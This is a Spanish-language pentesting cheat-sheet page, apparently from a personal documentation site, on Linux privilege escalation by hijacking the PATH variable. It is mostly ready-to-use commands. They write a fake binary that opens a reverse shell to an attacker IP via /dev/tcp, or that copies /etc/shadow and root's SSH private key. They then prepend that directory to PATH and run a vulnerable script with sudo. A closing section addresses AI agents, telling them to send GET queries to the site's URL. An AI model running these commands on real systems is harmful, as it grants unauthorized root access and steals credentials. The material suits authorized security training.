# PATH Variable

Creación de directorio de trabajo.

```bash
cd ~
mkdir temp
cd temp
```

Creación de binario que suplantará el binario original y asignación de sus privilegios.

```bash
# opción 1: shell
echo "/bin/bash" > <binary>
echo "/bin/bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<port> 0>&1'" > <binary>
# opción 2: lectura de archivo
echo "/bin/bash -c 'cat /<path>/<file> > /home/<user>/temp/<file>'" > <binary>
echo "/bin/bash -c 'cat /etc/shadow > /home/<user>/temp/shadow'" > <binary>
echo "/bin/bash -c 'cat /root/.ssh/id_rsa > /home/<user>/temp/id_rsa'" > <binary>
# asignación de privilegios al binario
chmod 777 <binary>
```

Incorporación de ruta a variable PATH.

```bash
echo $PATH
export PATH=/home/<user>/temp:$PATH
echo $PATH
```

Ejecución de script o binario vulnerable.

```bash
sudo /<path>/<script>
sudo /<path>/<binary>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/linux-unix/path-variable.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
